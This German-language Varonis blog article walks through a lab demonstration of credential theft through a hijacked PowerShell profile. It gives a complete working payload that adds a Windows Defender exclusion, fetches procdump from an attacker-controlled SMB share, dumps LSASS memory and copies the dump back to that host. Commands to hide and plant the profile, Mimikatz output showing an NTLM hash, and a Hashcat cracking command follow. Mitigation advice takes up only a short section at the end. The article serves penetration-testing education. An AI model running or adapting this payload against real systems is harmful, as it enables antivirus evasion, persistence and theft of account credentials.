Die in diesem Artikel dargestellte Berechtigungseskalationsmethode wird in dieser Form von russischen Spionagegruppen verwendet. Darin wird eine Möglichkeit beschrieben, wie Angreifer PowerShell-Funktionen nutzen können, um beliebige Befehle in einem höherstufigen Kontext (Administrator) auszuführen. Im folgenden finden Sie eine Demonstration zum Exfiltrieren von NTLM-Hashes. Wie vom MITRE ATT&CK Framework definiert:
Ereignisgesteuerte Ausführung: Angreifer können durch die Ausführung bösartiger Inhalte, die durch PowerShell-Profile ausgelöst wird, Persistenz erzielen und ihre Berechtigungen erhöhen. Ein PowerShell-Profil (profile.ps1) ist ein Skript, das beim Start von PowerShell ausgeführt wird und als Anmeldeskript zum Anpassen von Benutzerumgebungen verwendet werden kann …Angreifer können diese Profile so verändern, dass sie beliebige Befehle, Funktionen, Module und/oder PowerShell-Laufwerke enthalten, um Persistenz zu erzielen.
Weitere Informationen finden Sie in den folgenden Themen:
- Den Angriff verstehen
- Was sind PowerShell-Ausführungsrichtlinien?
- Was sind PowerShell-Profile?
- Einrichten des Angriffs
- Passwort-Hashes mit Mimikatz extrahieren
- NTLM-Hashes mit Hashcat knacken
- Erkennung und Bekämpfung
Den Angriff verstehen
Im folgenden Beispiel startet ein ahnungsloser Benutzer PowerShell mit lokalen Administratorrechten. Die Sitzung erscheint dem Benutzer nicht ungewöhnlich. Nach der Untersuchung des PowerShell-Profils sehen wir jedoch gehashte Passwörter, die an einen Server gesendet werden, den der Angreifer kontrolliert. Der Angriff ist für den User, auf den er abzielt völlig transparent. Die idealen Bedingungen für diesen Angriff sind:
- Lokale Administratorkapazitäten: Bei lokalen Administratorkonten teilen sich PowerShell-Sitzungen sowohl mit geringen Berechtigungen als auch mit Administratorberechtigungen ein einziges profile.ps1. Angreifer mit Remote-Zugriff können die profile.ps1-Datei bearbeiten, die von PowerShell-Administratorsitzungen ausgeführt wird.
- Wenig restriktive PowerShell-Ausführungsrichtlinien: Die Ausführungsrichtlinie bestimmt letztendlich, ob ein Angriff möglich ist. Die Datei profile.ps1 wird nur in PowerShell-Administratorsitzungen ausgeführt, wenn die Skriptausführung erlaubt ist.
Die Netzwerktopologie enthält einen Windows-10- und einen Kali-Linux-Computer, die an einen einzelnen Router angeschlossen sind (siehe unten).
Was sind PowerShell-Ausführungsrichtlinien?
Gemäß der Definition in der Microsoft-Dokumentation:
Die Ausführungsrichtlinie von PowerShell ist eine Sicherheitsfunktion, die die Bedingungen steuert, unter denen PowerShell Konfigurationsdateien lädt und Skripte ausführt … Die Ausführungsrichtlinie ist kein Sicherheitssystem, das Benutzeraktionen einschränkt … Stattdessen hilft die Ausführungsrichtlinie den Benutzern, grundlegende Regeln festzulegen und verhindert, dass diese versehentlich verletzt werden.
In Windows 10 ist „Undefined“ (nicht definiert) die Standardrichtlinie in jedem Bereich. Es ist jedoch üblich, dass Benutzer die Richtlinien CurrentUser
und LocalMachine
ändern, um die Skriptausführung zuzulassen. Wenig restriktive Richtlinien wie RemoteSigned
, Unrestricted
oder Bypass
ermöglichen die Berechtigungseskalation. Verwenden Sie den Befehl Get-ExecutionPolicy -List
, um die aktuellen Richtlinien anzuzeigen.
PS C:\Users\varonis> Get-ExecutionPolicy -List Scope ExecutionPolicy ----- --------------- MachinePolicy Undefined UserPolicy Undefined Process Undefined CurrentUser Undefined LocalMachine RemoteSigned
- PS C:\Users\varonis> Get-ExecutionPolicy -List
- Scope ExecutionPolicy
- ----- ---------------
- MachinePolicy Undefined
- UserPolicy Undefined
- Process Undefined
- CurrentUser Undefined
- LocalMachine RemoteSigned
PS C:\Users\varonis> Get-ExecutionPolicy -List Scope ExecutionPolicy ----- --------------- MachinePolicy Undefined UserPolicy Undefined Process Undefined CurrentUser Undefined LocalMachine RemoteSigned
Was sind PowerShell-Profile?
PowerShell-Profile sind Skripte, die bei jeder neuen PowerShell-Sitzung ausgeführt werden. Das umfasst auch Sitzungen in PowerShell ISE und Visual Studio. Sie bieten Benutzern und Entwicklern eine bequeme Möglichkeit, benutzerdefinierte Funktionen und Module mit jedem neuen PS-Terminal zu laden. Verwenden Sie die Variable $PROFILE
, um den Profilpfad der Sitzung anzuzeigen. Zeigen Sie den Inhalt der Datei mit dem Befehl Get-Content
an.
PS C:\Users\varonis> Get-Content $PROFILE
Wenn das Verzeichnis nicht vorhanden ist, kann ein Angreifer es als versteckten Ordner erstellen, um unerkannt zu bleiben.
PS C:\Users\varonis> cd $env:USERPROFILE;$d="Documents\WindowsPowerShell\";New-Item -ItemType Directory -Name "$d";$h=Get-Item "$d";$h.Attributes="Hidden"
- PS C:\Users\varonis> cd $env:USERPROFILE;$d="Documents\WindowsPowerShell\";New-Item -ItemType Directory -Name "$d";$h=Get-Item "$d";$h.Attributes="Hidden"
PS C:\Users\varonis> cd $env:USERPROFILE;$d="Documents\WindowsPowerShell\";New-Item -ItemType Directory -Name "$d";$h=Get-Item "$d";$h.Attributes="Hidden"
Wenn die PS1-Datei nicht vorhanden ist, erstellen Sie sie. Da das Dumpen von Passwörtern erhöhte Berechtigungen erfordert, lässt sich so effektiv verhindern, dass die Nutzdaten in einem Kontext mit geringen Berechtigungen ausgeführt werden.
PS C:\Users\varonis> echo 'if (whoami /groups | findstr /i "S-1-16-12288"){ echo "I AM ADMIN!" }' > $PROFILE
- PS C:\Users\varonis> echo 'if (whoami /groups | findstr /i "S-1-16-12288"){ echo "I AM ADMIN!" }' > $PROFILE
PS C:\Users\varonis> echo 'if (whoami /groups | findstr /i "S-1-16-12288"){ echo "I AM ADMIN!" }' > $PROFILE
Auf den ersten Blick sieht das nicht wie ein großes Problem aus. Man muss sich jedoch im Klaren darüber sein, dass ein Angreifer eine Datei ändern kann, die automatisch von Administrator-PowerShell-Sitzungen ausgeführt wird. Bedenken Sie, dass Angreifer hier ein „echo“ durch einen Befehl ersetzen können, mit dem Windows Defender deaktiviert wird oder Passwörter zurückgesetzt werden.
Einrichten des Angriffs
Wenn wir nun unser Wissen über PowerShell-Profile als Waffe einsetzen, können wir zeigen, wie ein Angreifer gehashte Passwörter extrahieren kann. Fangen Sie in Kali an, indem Sie das Arbeitsverzeichnis anlegen und mehrere Dateien speichern.
tokyoneon@varonis:~$ mkdir /tmp/evilshare; cd /tmp/evilshare
- tokyoneon@varonis:~$ mkdir /tmp/evilshare; cd /tmp/evilshare
tokyoneon@varonis:~$ mkdir /tmp/evilshare; cd /tmp/evilshare
Laden Sie die neueste Version von Procdump herunter.
tokyoneon@varonis:/tmp/evilshare$ wget 'https://download.sysinternals.com/files/Procdump.zip'
- tokyoneon@varonis:/tmp/evilshare$ wget 'https://download.sysinternals.com/files/Procdump.zip'
tokyoneon@varonis:/tmp/evilshare$ wget 'https://download.sysinternals.com/files/Procdump.zip'
Entpacken Sie die komprimierte Datei, um verschiedene Versionen von Procdump zu sehen. Bei dem in diesem Artikel beschriebenen Angriff wird procdump.exe verwendet.
tokyoneon@varonis:/tmp/evilshare$ unzip Procdump.zip
- tokyoneon@varonis:/tmp/evilshare$ unzip Procdump.zip
tokyoneon@varonis:/tmp/evilshare$ unzip Procdump.zip
Laden Sie das Skript, das ich für diesen Artikel erstellt habe, herunter und speichern Sie es mit dem Dateinamen „payload“ (Nutzdaten). Verwenden Sie den folgenden Befehl oder suchen Sie ihn auf meinem GitHub. Ändern Sie die $server-IP in den Nutzdaten in Ihre Kali-Adresse.
tokyoneon@varonis:/tmp/evilshare$ wget 'https://git.io/Jkc9d' -O payload
- tokyoneon@varonis:/tmp/evilshare$ wget 'https://git.io/Jkc9d' -O payload
tokyoneon@varonis:/tmp/evilshare$ wget 'https://git.io/Jkc9d' -O payload
Die Nutzdaten enthalten mehrere einfache Befehle. Das Cmdlet Add-MpPreference
fügt $env:TEMP
zur Ausschlussliste von Windows Defender hinzu. Dadurch wird verhindert, dass Windows Defender procdump.exe
oder den LSASS-Speicherdump erkennt. Als Alternative zu Invoke-WebRequest
lädt esentutl.exe
procdump.exe
von der SMB-Freigabe des Angreifers herunter. Procdump wird ausgeführt und speichert den LSASS-Dump in $env:TEMP
. Es wird mit Compress-Archive
gezippt und mit dem Befehl cp
auf die SMB-Freigabe exfiltriert. Aus Gründen der Übersichtlichkeit habe ich den Nutzdaten Kommentare hinzugefügt.
# an if statement to prevent the attack from executing without administrator privileges if (whoami /groups | findstr /i "S-1-16-12288") { # start the attack as a background processs to prevent the PS terminal from stalling when opened Start-Job { # where to write data during the attack? $temp = "$env:TEMP" # create path exclusion in Windows Defender to prevent procdump detection Add-MpPreference -ExclusionPath $temp # sleep several seconds to allow the path exclusion to take effect Start-Sleep -s 4 # the attacker's IP address $server = "192.168.56.101" # the attacker's SMB share name, must match impacket-smbserver share name $share = "evilshare" # procdump filename as it appears on the attacker's SMB share $procdump = "procdump.exe" # procdump.exe is saved locally with a random string as the filename $filename = (-join ((65..90) + (97..122) | Get-Random -Count 5 | ForEach-Object { [char]$_ })) + '.exe' # the procdump output path when saved locally; shameless username plug $dump = "tokyoneon.dmp" # as the procdump output contains non-ascii characters, it must be compressed before exfiltrating $exfil = "$env:COMPUTERNAME-$env:USERNAME-lsass.zip" # rather than use invoke-webrequest, use an alternate LOLBAS for file retrieval esentutl.exe /y \\$server\$share\$procdump /d $temp\$filename /o # execute procdump and dump LSASS memory & $temp\$filename -accepteula -ma lsass.exe $temp\$dump # suppress progress bar that appears in the terminal when compressing the dump $ProgressPreference = "SilentlyContinue" # compress the dump Compress-Archive -Path $temp\$dump -DestinationPath $temp\$exfil -Force # exfiltrate the compressed dump to the attacker's SMB share via cp cp $temp\$exfil \\$server\$share\$exfil } | Out-Null }
- # an if statement to prevent the attack from executing without administrator privileges
- if (whoami /groups | findstr /i "S-1-16-12288")
- {
- # start the attack as a background processs to prevent the PS terminal from stalling when opened
- Start-Job {
- # where to write data during the attack?
- $temp = "$env:TEMP"
- # create path exclusion in Windows Defender to prevent procdump detection
- Add-MpPreference -ExclusionPath $temp
- # sleep several seconds to allow the path exclusion to take effect
- Start-Sleep -s 4
- # the attacker's IP address
- $server = "192.168.56.101"
- # the attacker's SMB share name, must match impacket-smbserver share name
- $share = "evilshare"
- # procdump filename as it appears on the attacker's SMB share
- $procdump = "procdump.exe"
- # procdump.exe is saved locally with a random string as the filename
- $filename = (-join ((65..90) + (97..122) | Get-Random -Count 5 | ForEach-Object { [char]$_ })) + '.exe'
- # the procdump output path when saved locally; shameless username plug
- $dump = "tokyoneon.dmp"
- # as the procdump output contains non-ascii characters, it must be compressed before exfiltrating
- $exfil = "$env:COMPUTERNAME-$env:USERNAME-lsass.zip"
- # rather than use invoke-webrequest, use an alternate LOLBAS for file retrieval
- esentutl.exe /y \\$server\$share\$procdump /d $temp\$filename /o
- # execute procdump and dump LSASS memory
- & $temp\$filename -accepteula -ma lsass.exe $temp\$dump
- # suppress progress bar that appears in the terminal when compressing the dump
- $ProgressPreference = "SilentlyContinue"
- # compress the dump
- Compress-Archive -Path $temp\$dump -DestinationPath $temp\$exfil -Force
- # exfiltrate the compressed dump to the attacker's SMB share via cp
- cp $temp\$exfil \\$server\$share\$exfil } | Out-Null
- }
# an if statement to prevent the attack from executing without administrator privileges if (whoami /groups | findstr /i "S-1-16-12288") { # start the attack as a background processs to prevent the PS terminal from stalling when opened Start-Job { # where to write data during the attack? $temp = "$env:TEMP" # create path exclusion in Windows Defender to prevent procdump detection Add-MpPreference -ExclusionPath $temp # sleep several seconds to allow the path exclusion to take effect Start-Sleep -s 4 # the attacker's IP address $server = "192.168.56.101" # the attacker's SMB share name, must match impacket-smbserver share name $share = "evilshare" # procdump filename as it appears on the attacker's SMB share $procdump = "procdump.exe" # procdump.exe is saved locally with a random string as the filename $filename = (-join ((65..90) + (97..122) | Get-Random -Count 5 | ForEach-Object { [char]$_ })) + '.exe' # the procdump output path when saved locally; shameless username plug $dump = "tokyoneon.dmp" # as the procdump output contains non-ascii characters, it must be compressed before exfiltrating $exfil = "$env:COMPUTERNAME-$env:USERNAME-lsass.zip" # rather than use invoke-webrequest, use an alternate LOLBAS for file retrieval esentutl.exe /y \\$server\$share\$procdump /d $temp\$filename /o # execute procdump and dump LSASS memory & $temp\$filename -accepteula -ma lsass.exe $temp\$dump # suppress progress bar that appears in the terminal when compressing the dump $ProgressPreference = "SilentlyContinue" # compress the dump Compress-Archive -Path $temp\$dump -DestinationPath $temp\$exfil -Force # exfiltrate the compressed dump to the attacker's SMB share via cp cp $temp\$exfil \\$server\$share\$exfil } | Out-Null }
Starten Sie impacket-smbserver
, um die Nutzdaten zuzustellen und auf eingehende LSASS-Dumps zu warten. Das Terminal muss für die Dauer des Angriffs geöffnet bleiben.
tokyoneon@varonis:/tmp/evilshare$ sudo impacket-smbserver -smb2support evilshare "$PWD"
- tokyoneon@varonis:/tmp/evilshare$ sudo impacket-smbserver -smb2support evilshare "$PWD"
tokyoneon@varonis:/tmp/evilshare$ sudo impacket-smbserver -smb2support evilshare "$PWD"
Fügen Sie unter Windows die Nutzdaten zum Ziel $PROFILE
hinzu. Dies geht auch über eine Reverse Shell oder Backdoor. Verwenden Sie jedoch der Einfachheit halber ein PS-Terminal. Ändern Sie die Variable $attacker
im folgenden Befehl in Ihre Kali-IP-Adresse.
PS C:\Users\varonis> cp \\$attacker\evilshare\payload $PROFILE
- PS C:\Users\varonis> cp \\$attacker\evilshare\payload $PROFILE
PS C:\Users\varonis> cp \\$attacker\evilshare\payload $PROFILE
Wenn das Ziel eine neue Administrator-PowerShell-Sitzung startet, erscheint das impacket-smbserver
wie nachfolgend dargestellt. Zwei separate „AUTHENTICATE_MESSAGE
“-Nachrichten werden in der impacket-smbserver
-Ausgabe angezeigt: Das Ziel-Betriebssystem, das procdump.exe abruft, und das komprimierte LSASS-Dump, das auf dem Server bereitgestellt wird. Warten Sie nach der zweiten Nachricht einige Augenblicke und drücken Sie zweimal Ctrl
+ c
, um den Impacket-Server zu beenden. Es wird eine neue ZIP-Datei in dem aktuellen Verzeichnis angelegt. Diese enthält die DMP-Datei, die sich daraus entpacken lässt.
Passwort-Hashes mit Mimikatz extrahieren
Die gehashten Passwörter in der DMP-Datei sind nicht als Klartext lesbar. Verschieben Sie die DMP-Datei auf eine VM von Windows 10 mit deaktiviertem Windows Defender. Laden Sie die neueste Version von Mimikatz (mimikatz_trunk.zip) herunter und speichern Sie sie im Ordner Downloads
in Windows. Öffnen Sie ein PowerShell-Terminal und entpacken Sie die ZIP-Datei mit dem folgenden Befehl.
PS > Expand-Archive -Path $env:USERPROFILE\Downloads\mimikatz_trunk.zip -DestinationPath $env:USERPROFILE\mimikatz
- PS > Expand-Archive -Path $env:USERPROFILE\Downloads\mimikatz_trunk.zip -DestinationPath $env:USERPROFILE\mimikatz
PS > Expand-Archive -Path $env:USERPROFILE\Downloads\mimikatz_trunk.zip -DestinationPath $env:USERPROFILE\mimikatz
Gehen Sie in das x64-Verzeichnis und führen Sie die Binärdatei mimikatz.exe aus.
PS C:\Users\tokyoneon> cd $env:USERPROFILE\mimikatz\x64\; .\mimikatz.exe
- PS C:\Users\tokyoneon> cd $env:USERPROFILE\mimikatz\x64\; .\mimikatz.exe
PS C:\Users\tokyoneon> cd $env:USERPROFILE\mimikatz\x64\; .\mimikatz.exe
Laden Sie die DMP-Info Mimikatz mit dem Befehl sekurlsa::minidump
.
mimikatz # sekurlsa::minidump C:\PATH\TO\YOUR\DUMP\tokyoneon.dmp
- mimikatz # sekurlsa::minidump C:\PATH\TO\YOUR\DUMP\tokyoneon.dmp
mimikatz # sekurlsa::minidump C:\PATH\TO\YOUR\DUMP\tokyoneon.dmp
Benutzen Sie den Befehl sekurlsa::logonPasswords
, um gehashte Anmeldedaten zu extrahieren. Beachten Sie den NTLM-Hash in Zeile 12.
mimikatz # sekurlsa::logonPasswords Opening : 'Z:\lsass_dumps\tokyoneon.dmp' file for minidump... 1 Authentication Id : 0 ; 188563 (00000000:0002e093) 2 Session : Interactive from 1 3 User Name : varonis 4 Domain : DESKTOP-JI80T34 5 Logon Server : DESKTOP-JI80T34 6 Logon Time : 11/15/2020 9:56:57 PM 7 SID : S-1-5-21-3489785614-2607058550-4100802712-1001 8 msv : 9 [00000003] Primary 10 * Username : varonis 11 * Domain : DESKTOP-JI80T34 12 * NTLM : 2ba9afd0306922f6aed8c6a2406ddab5 13 * SHA1 : 33b282eb0ba4e815a93f95d0c5321c5e8d76997f 14 tspkg : 15 wdigest : 16 * Username : varonis 17 * Domain : DESKTOP-JI80T34 18 * Password : (null) 19 kerberos : 20 * Username : varonis 21 * Domain : DESKTOP-JI80T34 22 * Password : (null) 23 ssp : 24 credman : 25 cloudap : ----- [truncated] ----- 59 Authentication Id : 0 ; 999 (00000000:000003e7) 60 Session : UndefinedLogonType from 0 61 User Name : DESKTOP-JI80T34$ 62 Domain : WORKGROUP 63 Logon Server : (null) 64 Logon Time : 11/15/2020 9:56:50 PM 65 SID : S-1-5-18 66 msv : 67 tspkg : 68 wdigest : 69 * Username : DESKTOP-JI80T34$ 70 * Domain : WORKGROUP 71 * Password : (null) 72 kerberos : 73 * Username : desktop-ji80t34$ 74 * Domain : WORKGROUP 75 * Password : (null) 76 ssp : 77 credman : 78 cloudap : mimikatz #
- mimikatz # sekurlsa::logonPasswords
- Opening : 'Z:\lsass_dumps\tokyoneon.dmp' file for minidump...
- 1 Authentication Id : 0 ; 188563 (00000000:0002e093)
- 2 Session : Interactive from 1
- 3 User Name : varonis
- 4 Domain : DESKTOP-JI80T34
- 5 Logon Server : DESKTOP-JI80T34
- 6 Logon Time : 11/15/2020 9:56:57 PM
- 7 SID : S-1-5-21-3489785614-2607058550-4100802712-1001
- 8 msv :
- 9 [00000003] Primary
- 10 * Username : varonis
- 11 * Domain : DESKTOP-JI80T34
- 12 * NTLM : 2ba9afd0306922f6aed8c6a2406ddab5
- 13 * SHA1 : 33b282eb0ba4e815a93f95d0c5321c5e8d76997f
- 14 tspkg :
- 15 wdigest :
- 16 * Username : varonis
- 17 * Domain : DESKTOP-JI80T34
- 18 * Password : (null)
- 19 kerberos :
- 20 * Username : varonis
- 21 * Domain : DESKTOP-JI80T34
- 22 * Password : (null)
- 23 ssp :
- 24 credman :
- 25 cloudap :
- ----- [truncated] -----
- 59 Authentication Id : 0 ; 999 (00000000:000003e7)
- 60 Session : UndefinedLogonType from 0
- 61 User Name : DESKTOP-JI80T34$
- 62 Domain : WORKGROUP
- 63 Logon Server : (null)
- 64 Logon Time : 11/15/2020 9:56:50 PM
- 65 SID : S-1-5-18
- 66 msv :
- 67 tspkg :
- 68 wdigest :
- 69 * Username : DESKTOP-JI80T34$
- 70 * Domain : WORKGROUP
- 71 * Password : (null)
- 72 kerberos :
- 73 * Username : desktop-ji80t34$
- 74 * Domain : WORKGROUP
- 75 * Password : (null)
- 76 ssp :
- 77 credman :
- 78 cloudap :
- mimikatz #
mimikatz # sekurlsa::logonPasswords Opening : 'Z:\lsass_dumps\tokyoneon.dmp' file for minidump... 1 Authentication Id : 0 ; 188563 (00000000:0002e093) 2 Session : Interactive from 1 3 User Name : varonis 4 Domain : DESKTOP-JI80T34 5 Logon Server : DESKTOP-JI80T34 6 Logon Time : 11/15/2020 9:56:57 PM 7 SID : S-1-5-21-3489785614-2607058550-4100802712-1001 8 msv : 9 [00000003] Primary 10 * Username : varonis 11 * Domain : DESKTOP-JI80T34 12 * NTLM : 2ba9afd0306922f6aed8c6a2406ddab5 13 * SHA1 : 33b282eb0ba4e815a93f95d0c5321c5e8d76997f 14 tspkg : 15 wdigest : 16 * Username : varonis 17 * Domain : DESKTOP-JI80T34 18 * Password : (null) 19 kerberos : 20 * Username : varonis 21 * Domain : DESKTOP-JI80T34 22 * Password : (null) 23 ssp : 24 credman : 25 cloudap : ----- [truncated] ----- 59 Authentication Id : 0 ; 999 (00000000:000003e7) 60 Session : UndefinedLogonType from 0 61 User Name : DESKTOP-JI80T34$ 62 Domain : WORKGROUP 63 Logon Server : (null) 64 Logon Time : 11/15/2020 9:56:50 PM 65 SID : S-1-5-18 66 msv : 67 tspkg : 68 wdigest : 69 * Username : DESKTOP-JI80T34$ 70 * Domain : WORKGROUP 71 * Password : (null) 72 kerberos : 73 * Username : desktop-ji80t34$ 74 * Domain : WORKGROUP 75 * Password : (null) 76 ssp : 77 credman : 78 cloudap : mimikatz #
NTLM-Hashes mit Hashcat knacken
Nun zu einem weiteren Pentesting-Tool, Hashcat. Selbst im Jahr 2020 verwenden Menschen noch schwache Passwörter, um ihre Daten und Konten zu sichern. Mit der neuesten Version von Hashcat und einer gewöhnlichen GTX-1060-GPU dauerte es eine Sekunde, um einen Hash mit sieben Zeichen zu knacken.
tokyoneon@hades:~$ hashcat /tmp/hash.txt -w 4 -O -m 1000 -a 3 ?l?l?l?l?l?l?l
- tokyoneon@hades:~$ hashcat /tmp/hash.txt -w 4 -O -m 1000 -a 3 ?l?l?l?l?l?l?l
tokyoneon@hades:~$ hashcat /tmp/hash.txt -w 4 -O -m 1000 -a 3 ?l?l?l?l?l?l?l
Erkennung und Bekämpfung
Das MITRE-ATT&CK-Framework empfiehlt: Überwachen Sie die Profilorte auf Änderungen. Weitere Gegenmaßnahmen:
- Codesignieren: Erzwingen der ausschließlichen Ausführung von signierten PowerShell-Skripten. Signieren Sie Profile, um zu verhindern, dass diese geändert werden.
- Datei- und Verzeichnisberechtigungen einschränken: Wenn PowerShell-Profile schreibgeschützt sind und nur von bestimmten Administratoren geändert werden können, wird die Möglichkeit für Angreifer eingeschränkt, auf einfache Weise Persistenz auf Benutzerebene aufzubauen.
- Softwarekonfiguration: Vermeiden Sie PowerShell-Profile, wenn diese nicht benötigt werden. Verwenden Sie das Flag
-NoProfile
, wenn Sie PowerShell-Skripte per Fernzugriff ausführen. So können Sie verhindern, dass lokale Profile ausgeführt werden.
FAZIT
Dieser Angriff auf NTLM-Hashes verdeutlicht die Gefahren einer nicht ausreichend strengen Richtlinie in Verbindung mit lokalen Administratorkonten. Während hier detailliert beschrieben wurde, wie ein Angreifer den Administrator zur Exfiltration von NTLM-Hashes zwingen kann, ist es trivial, die verwendeten Nutzdaten zu verändern und seine Berechtigungen mit PsExec auf NT AUTHORITY\SYSTEM
zu erweitern. Weitere Tipps für Pentester, die PowerShell verwenden. Folgen Sie mir auf Twitter @tokyoneon_ und auf GitHub , um über meine aktuellen Projekte auf dem Laufenden zu bleiben. Bei Fragen und Anliegen können Sie einen Kommentar hinterlassen oder mir eine Nachricht auf Twitter schicken.
Wie soll ich vorgehen?
Im Folgenden finden Sie drei Möglichkeiten, wie Sie das Datenrisiko in Ihrem Unternehmen verringern können:
Vereinbaren Sie eine Demo mit uns, um Varonis in Aktion zu erleben. Wir passen die Session an die Datensicherheitsanforderungen Ihres Unternehmens an und beantworten alle Fragen.
Sehen Sie sich ein Beispiel unserer Datenrisikobewertung an und erfahren Sie, welche Risiken in Ihrer Umgebung lauern könnten. Varonis DRA ist völlig kostenlos und bietet einen klaren Weg zur automatischen Sanierung.
Folgen Sie uns auf LinkedIn, YouTubeund X (Twitter), um kurze Einblicke in alle Themen der Datensicherheit zu erhalten, einschließlich Data Security Posture Management (DSPM), Bedrohungserkennung, KI-Sicherheit und mehr.